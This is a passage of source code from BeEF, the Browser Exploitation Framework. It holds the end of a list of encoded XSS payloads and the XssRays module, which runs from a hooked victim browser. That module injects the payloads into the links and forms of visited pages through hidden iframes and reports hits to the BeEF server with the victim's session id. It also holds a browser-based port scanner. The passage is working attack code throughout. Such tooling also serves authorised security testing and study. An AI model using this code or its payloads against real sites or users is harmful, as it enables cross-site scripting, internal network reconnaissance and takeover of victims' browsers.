10229 {input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
10230 {input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
10231 {input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
10232 {input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true},
10233 {input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
10234 {input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
10235 {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
10236 {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
10237 {input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
10238 {input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
10239 {input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
10240 {input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true},
10241 {input:'null\nXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true}
10242 ],
10243 uniqueID: 0,
10244 rays: [],
10245 stack: [],
10246
10247 // return true is the attack vector can be launched to the current browser type.
10248 checkBrowser:function(vector_array_index){
10249 var result = false;
10250 var browser_id = this.vectors[vector_array_index].browser;
10251 switch (browser_id){
10252 case "ALL":
10253 result = true;
10254 break;
10255 case "FF":
10256 if(beef.browser.isFF())result=true;
10257 break;
10258 case "IE":
10259 if(beef.browser.isIE())result=true;
10260 break;
10261 case "C":
10262 if(beef.browser.isC())result=true;
10263 break;
10264 case "S":
10265 if(beef.browser.isS())result=true;
10266 break;
10267 case "O":
10268 if(beef.browser.isO())result=true;
10269 break;
10270 default : result = false;
10271 }
10272 beef.net.xssrays.printDebug("==== browser_id ==== [" + browser_id + "], result [" + result + "]");
10273 return result;
10274 },
10275
10276 // util function. Print string to the console only if the debug flag is on and the browser is not IE.
10277 printDebug:function(log) {
10278 if (this.debug && (!beef.browser.isIE6() && !beef.browser.isIE7() && !beef.browser.isIE8())) {
10279 beef.debug("[XssRays] " + log);
10280 }
10281 },
10282
10283 // main function, where all starts :-)
10284 startScan:function(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout, debug) {
10285
10286 this.xssraysScanId = xssraysScanId;
10287 this.hookedBrowserSession = hookedBrowserSession;
10288 this.beefRayUrl = beefUrl + '/' + this.handler;
10289 beef.net.xssrays.printDebug("Using [" + this.beefRayUrl + "] handler to contact back BeEF");
10290 this.crossDomain = crossDomain;
10291 this.cleanUpTimeout = timeout;
10292 this.debug = debug;
10293
10294 this.scan();
10295 beef.net.xssrays.printDebug("Starting scan");
10296 this.runJobs();
10297 },
10298 complete:function() {
10299 if (beef.net.xssrays.completed == beef.net.xssrays.totalConnections) {
10300 beef.net.xssrays.printDebug("COMPLETE, notifying BeEF for scan id [" + beef.net.xssrays.xssraysScanId + "]");
10301 $j.get(this.beefRayUrl, { hbsess: this.hookedBrowserSession, raysid: this.xssraysScanId, action: "finish"} );
10302 } else {
10303 this.getNextJob();
10304 }
10305 },
10306 getNextJob:function() {
10307 var that = this;
10308 beef.net.xssrays.printDebug("getNextJob - this.stack.length [" + this.stack.length + "]");
10309 if (this.stack.length > 0) {
10310 var func = that.stack.shift();
10311 if (func) {
10312 that.completed++;
10313 func.call(that);
10314 }
10315 }else{ //nothing else to scan
10316 this.complete();
10317 }
10318 },
10319 scan:function() {
10320 this.scanLinks();
10321 this.scanForms();
10322 },
10323 scanPaths:function() {
10324 this.xss({type:'path'});
10325 return this;
10326 },
10327 scanForms: function() {
10328 this.xss({type:'form'});
10329 return this;
10330 },
10331 scanLinks: function() { //TODO: add depth crawling for links that are in the same domain
10332 beef.net.xssrays.printDebug("scanLinks, document.links.length [" + document.links.length + "]");
10333 for (var i = 0; i < document.links.length; i++) {
10334 var url = document.links[i];
10335
10336 if ((url.hostname.toString() === location.hostname.toString() || this.crossDomain) && (location.protocol === 'http:' || location.protocol === 'https:')) {
10337 beef.net.xssrays.printDebug("Starting scanning URL [" + url + "]\n url.href => " + url.href +
10338 "\n url.pathname => " + url.pathname + "\n" +
10339 "url.search => " + url.search + "\n");
10340 this.xss({href:url.href, pathname:url.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,
10341 search:url.search, type: 'url'});//scan each link & param
10342 } else {
10343 if (this.debug) {
10344 beef.net.xssrays.printDebug('Scan is not Cross-domain. URLS\nurl :' + url.hostname.toString());
10345 beef.net.xssrays.printDebug('\nlocation :' + location.hostname.toString());
10346 }
10347 }
10348 }
10349 if (location.search.length > 0) {
10350 this.xss({pathname:location.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,search:location.search, type: 'url'});//scan originating url
10351 }
10352 return this;
10353 },
10354 xss:function(target) {
10355 switch (target.type) {
10356 case "url":
10357 if (target.search.length > 0) {
10358 target.search = target.search.slice(1);
10359 target.search = target.search.split(/&|&/);
10360
10361 if(beef.browser.isIE() && target.pathname.charAt(0) != "/"){ //the damn IE doesn't contain the forward slash in pathname
10362 var pathname = "/" + target.pathname;
10363 }else{
10364 var pathname = target.pathname;
10365 }
10366
10367 var params = {};
10368 for (var i = 0; i < target.search.length; i++) {
10369 target.search[i] = target.search[i].split('=');
10370 params[target.search[i][0]] = target.search[i][1];
10371 }
10372 for (var i = 0; i < this.vectors.length; i++) {
10373 // skip the current vector if it's not compatible with the hooked browser
10374 if (!this.checkBrowser(i)){
10375 beef.net.xssrays.printDebug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
10376 continue;
10377 }
10378 if (!this.vectors[i].url) {
10379 continue;
10380 }
10381 if (this.vectors[i].url) {
10382 if (target.port == null || target.port == "") {
10383 beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
10384 this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], params, true);//params
10385 } else {
10386 beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
10387 this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], params, true);//params
10388 }
10389 }
10390 if (this.vectors[i].path) {
10391 if (target.port == null || target.port == "") {
10392 beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
10393 this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], null, true);//paths
10394 } else {
10395 beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
10396 this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], null, true);//paths
10397 }
10398 }
10399 }
10400 }
10401 break;
10402 case "form":
10403 var params = {};
10404 var paramsstring = "";
10405 for (var i = 0; i < document.forms.length; i++) {
10406 var action = document.forms[i].action || document.location;
10407 var method = document.forms[i].method.toUpperCase() === 'POST' ?
10408 'POST' :
10409 'GET';
10410
10411 for (var j = 0; j < document.forms[i].elements.length; j++) {
10412 params[document.forms[i].elements[j].name] = document.forms[i].elements[j].value || 1;
10413 }
10414 for (var k = 0; k < this.vectors.length; k++) {
10415
10416 // skip the current vector if it's not compatible with the hooked browser
10417 if (!this.checkBrowser(k)){
10418 beef.net.xssrays.printDebug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
10419 continue;
10420 }
10421 if (!this.vectors[k].form) {
10422 continue;
10423 }
10424 if (!this.crossDomain && (this.host(action).toString() != this.host(location.toString()))) {
10425 if (this.debug) {
10426 beef.net.xssrays.printDebug('Scan is not Cross-domain. FormPost\naction :' + this.host(action).toString());
10427 beef.net.xssrays.printDebug('location :' + this.host(location));
10428 }
10429 continue;
10430 }
10431 if (this.vectors[k].form) {
10432 if (method === 'GET') {
10433 beef.net.xssrays.printDebug("Starting XSS on FORM action params, GET method of [" + action + "], params [" + paramsstring + "]");
10434 this.run(action, method, this.vectors[k], params, true);//params
10435 }
10436 else {
10437 beef.net.xssrays.printDebug("Starting XSS on FORM action params, POST method of [" + action + "], params [" + paramsstring + "]");
10438 this.run(action, method, this.vectors[k], params, false);//params
10439 }
10440 }
10441 if (this.vectors[k].path) {
10442 beef.net.xssrays.printDebug("Starting XSS on FORM action URI PATH of [" + action + "], ");
10443 this.run(action, 'GET', this.vectors[k], null, true);//paths
10444 }
10445 }
10446 }
10447 break;
10448 }
10449 },
10450 host: function(url) {
10451 var host = url;
10452 host = /^https?:[\/]{2}[^\/]+/.test(url.toString())
10453 ? url.toString().match(/^https?:[\/]{2}[^\/]+/)
10454 : /(?:^[^a-zA-Z0-9\/]|^[a-zA-Z0-9]+[:]+)/.test(url.toString())
10455 ? ''
10456 : location.hostname.toString();
10457 return host;
10458 },
10459 fileName: function(url) {
10460 return url.match(/(?:^[^\/]|^https?:[\/]{2}|^[\/]+)[^?]+/) || '';
10461 },
10462
10463 urlEncode: function(str) {
10464 str = str.toString();
10465 str = str.replace(/"/g, '%22');
10466 str = str.replace(/&/g, '%26');
10467 str = str.replace(/\+/g, '%2b');
10468 return str;
10469 },
10470
10471 // this is the main core function with the detection mechanisms...
10472 run: function(url, method, vector, params, urlencode) {
10473 this.stack.push(function() {
10474
10475 //check if the URL end with / . In this case remove the last /, as it will be added later.
10476 // this check is needed only when checking for URI path injections
10477 if(url[url.length - 1] == "/" && params == null){
10478 url = url.substring(0, url.length - 2);
10479 beef.net.xssrays.printDebug("Remove last / from url. New url [" + url + "]");
10480 }
10481
10482 beef.net.xssrays.uniqueID++;
10483 beef.net.xssrays.printDebug('Processing vector [' + vector.name + "], URL [" + url + "]");
10484 var poc = '';
10485 var pocurl = url;
10486 var exploit = '';
10487 var action = url;
10488
10489
10490 beef.net.xssrays.rays[beef.net.xssrays.uniqueID] = {vector:vector,url:url,params:params};
10491 var ray = this.rays[beef.net.xssrays.uniqueID];
10492
10493 var paramsPos = 0;
10494 if (params != null) {
10495 /*
10496 * ++++++++++ check for XSS in URI parameters (GET) ++++++++++
10497 */
10498 for (var i in params) {
10499 if (params.hasOwnProperty(i)) {
10500
10501 if (!/[?]/.test(url)) {
10502 url += '?';
10503 pocurl += '?';
10504 }
10505
10506 poc = vector.input.replace(/XSS/g, "alert(1)");
10507 pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc) + '&';
10508
10509 beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
10510 beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
10511
10512 beefCallback = "location='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
10513 + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
10514
10515 exploit = vector.input.replace(/XSS/g, beefCallback);
10516
10517 if(beef.browser.isC() || beef.browser.isS()){ //we will base64 the whole uri later
10518 url += i + '=' + exploit + '&';
10519 }else{
10520 url += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&';
10521 }
10522
10523 paramsPos++;
10524 }
10525 }
10526 } else {
10527 /*
10528 * ++++++++++ check for XSS in URI path (GET) ++++++++++
10529 */
10530 var filename = beef.net.xssrays.fileName(url);
10531
10532 poc = vector.input.replace(/XSS/g, "alert(1)");
10533 pocurl = poc.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
10534
10535
10536 beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
10537 beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
10538
10539 beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
10540 + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
10541
10542 exploit = vector.input.replace(/XSS/g, beefCallback);
10543
10544 //TODO: if the url is something like example.com/?param=1 then a second slash will be added, like example.com//<xss>.
10545 //TODO: this need to checked and the slash shouldn't be added in this particular case
10546 url = url.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
10547 }
10548 /*
10549 * ++++++++++ create the iFrame that will contain the attack vector ++++++++++
10550 */
10551 if(beef.browser.isIE()){
10552 try {
10553 var iframe = document.createElement('<iframe name="ray'+Math.random().toString() +'">');
10554 } catch (e) {
10555 var iframe = document.createElement('iframe');
10556 iframe.name = 'ray' + Math.random().toString();
10557 }
10558 }else{
10559 var iframe = document.createElement('iframe');
10560 iframe.name = 'ray' + Math.random().toString();
10561 }
10562 iframe.style.display = 'none';
10563 iframe.id = 'ray' + beef.net.xssrays.uniqueID;
10564 iframe.time = beef.net.xssrays.timestamp();
10565
10566 if (method === 'GET') {
10567 if(beef.browser.isC() || beef.browser.isS()){
10568 var datauri = btoa(url);
10569 iframe.src = "data:text/html;base64," + datauri;
10570 }else{
10571 iframe.src = url;
10572 }
10573 document.body.appendChild(iframe);
10574 beef.net.xssrays.printDebug("Creating XSS iFrame with src [" + iframe.src + "], id[" + iframe.id + "], time [" + iframe.time + "]");
10575 } else if (method === 'POST') {
10576 /*
10577 * ++++++++++ check for XSS in body parameters (POST) ++++++++++
10578 */
10579 var form = '<form action="' + beef.net.xssrays.escape(action) + '" method="post" id="frm">';
10580 poc = '';
10581 pocurl = action + "?";
10582 paramsPos = 0;
10583
10584 beef.net.xssrays.printDebug("Form action [" + action + "]");
10585 for (var i in params) {
10586 if (params.hasOwnProperty(i)) {
10587
10588 poc = vector.input.replace(/XSS/g, "alert(1)");
10589 poc = poc.replace(/<\/script>/g, "<\/scr\"+\"ipt>");
10590 pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc); // + '&';
10591
10592 beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
10593 beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
10594
10595 beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
10596 + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
10597
10598 exploit = beef.net.xssrays.escape(vector.input.replace(/XSS/g, beefCallback));
10599 form += '<textarea name="' + i + '">' + exploit + '<\/textarea>';
10600 beef.net.xssrays.printDebug("form param[" + i + "] = " + params[i].toString());
10601
10602 paramsPos++;
10603 }
10604 }
10605 form += '<\/form>';
10606 document.body.appendChild(iframe);
10607 beef.net.xssrays.printDebug("Creating form [" + form + "]");
10608 iframe.contentWindow.document.writeln(form);
10609 iframe.contentWindow.document.writeln('<script>document.createElement("form").submit.apply(document.forms[0]);<\/script>');
10610 beef.net.xssrays.printDebug("Submitting form");
10611 }
10612
10613 });
10614 },
10615
10616 // run the jobs (run functions added to the stack), and clean the shit (iframes) from the DOM after a timeout value
10617 runJobs: function() {
10618 var that = this;
10619 this.totalConnections = this.stack.length;
10620 that.getNextJob();
10621 setInterval(function() {
10622 var numOfConnections = 0;
10623 for (var i = 0; i < document.getElementsByTagName('iframe').length; i++) {
10624 var iframe = document.getElementsByTagName('iframe')[i];
10625 numOfConnections++;
10626 //beef.net.xssrays.printDebug("runJobs parseInt(this.timestamp()) [" + parseInt(beef.net.xssrays.timestamp()) + "], parseInt(iframe.time) [" + parseInt(iframe.time) + "]");
10627 if (parseInt(beef.net.xssrays.timestamp()) - parseInt(iframe.time) > 5) {
10628 try{
10629 if (iframe) {
10630 beef.net.xssrays.complete();
10631 beef.net.xssrays.printDebug("RunJobs cleaning up iFrame [" + iframe.id + "]");
10632 document.body.removeChild(iframe);
10633 }
10634 }catch(e){beef.net.xssrays.printDebug("Exception [" + e.toString() + "] when cleaning iframes.")}
10635 }
10636 }
10637
10638 if (numOfConnections == 0) {
10639 clearTimeout(this);
10640 }
10641
10642 }, this.cleanUpTimeout);
10643
10644 return this;
10645 },
10646 timestamp: function() {
10647 return parseInt(new Date().getTime().toString().substring(0, 10));
10648 },
10649 escape: function(str) {
10650 str = str.toString();
10651 str = str.replace(/</g, '<');
10652 str = str.replace(/>/g, '>');
10653 str = str.replace(/\u0022/g, '"');
10654 str = str.replace(/\u0027/g, ''');
10655 str = str.replace(/\\/g, '\');
10656 return str;
10657 }
10658
10659};
10660
10661beef.regCmp('beef.net.xssrays');
10662
10663
10664//
10665// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
10666// Browser Exploitation Framework (BeEF) - http://beefproject.com
10667// See the file 'doc/COPYING' for copying permission
10668//
10669
10670/*!
10671 * @literal object: beef.net.portscanner
10672 *
10673 * Provides port scanning functions for the zombie. A mod of pdp's scanner
10674 *
10675 * Version: '0.1',
10676 * author: 'Petko Petkov',
10677 * homepage: 'http://www.gnucitizen.org'
10678 */
10679
10680beef.net.portscanner = {
10681
10682 scanPort: function(callback, target, port, timeout)
10683 {
10684 var timeout = (timeout == null)?100:timeout;
10685 var img = new Image();
10686
10687 img.onerror = function () {
10688 if (!img) return;
10689 img = undefined;
10690 callback(target, port, 'open');
10691 };
10692
10693 img.onload = img.onerror;
10694
10695 img.src = 'http://' + target + ':' + port;
10696
10697 setTimeout(function () {
10698 if (!img) return;
10699 img = undefined;
10700 callback(target, port, 'closed');
10701 }, timeout);
10702
10703 },
10704
10705 scanTarget: function(callback, target, ports_str, timeout)
10706 {
10707 var ports = ports_str.split(",");
10708
10709 for (index = 0; index < ports.length; index++) {
10710 this.scanPort(callback, target, ports[index], timeout);
10711 };
10712
10713 }
10714};
10715
10716beef.regCmp('beef.net.portscanner');
10717
10718
10719
10720//
10721// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
10722// Browser Exploitation Framework (BeEF) - http://beefproject.com
10723// See the file 'doc/COPYING' for copying permission
10724//
10725
10726beef.are = {
10727 status_success: function(){
10728 return 1;
10729 },
10730 status_unknown: function(){
10731 return 0;
10732 },
10733 status_error: function(){
10734 return -1;
10735 }
10736};
10737beef.regCmp("beef.are");
10738
10739
10740//
10741// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
10742// Browser Exploitation Framework (BeEF) - http://beefproject.com
10743// See the file 'doc/COPYING' for copying permission
10744//
10745
10746/*
10747 Sometimes there are timing issues and looks like beef_init
10748 is not called at all (always in cross-origin situations,
10749 for example calling the hook with jquery getScript,
10750 or sometimes with event handler injections).
10751
10752 To fix this, we call again beef_init after 1 second.
10753 Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
10754 antisnatchor
10755 */
10756//setTimeout(beef_init, 1000);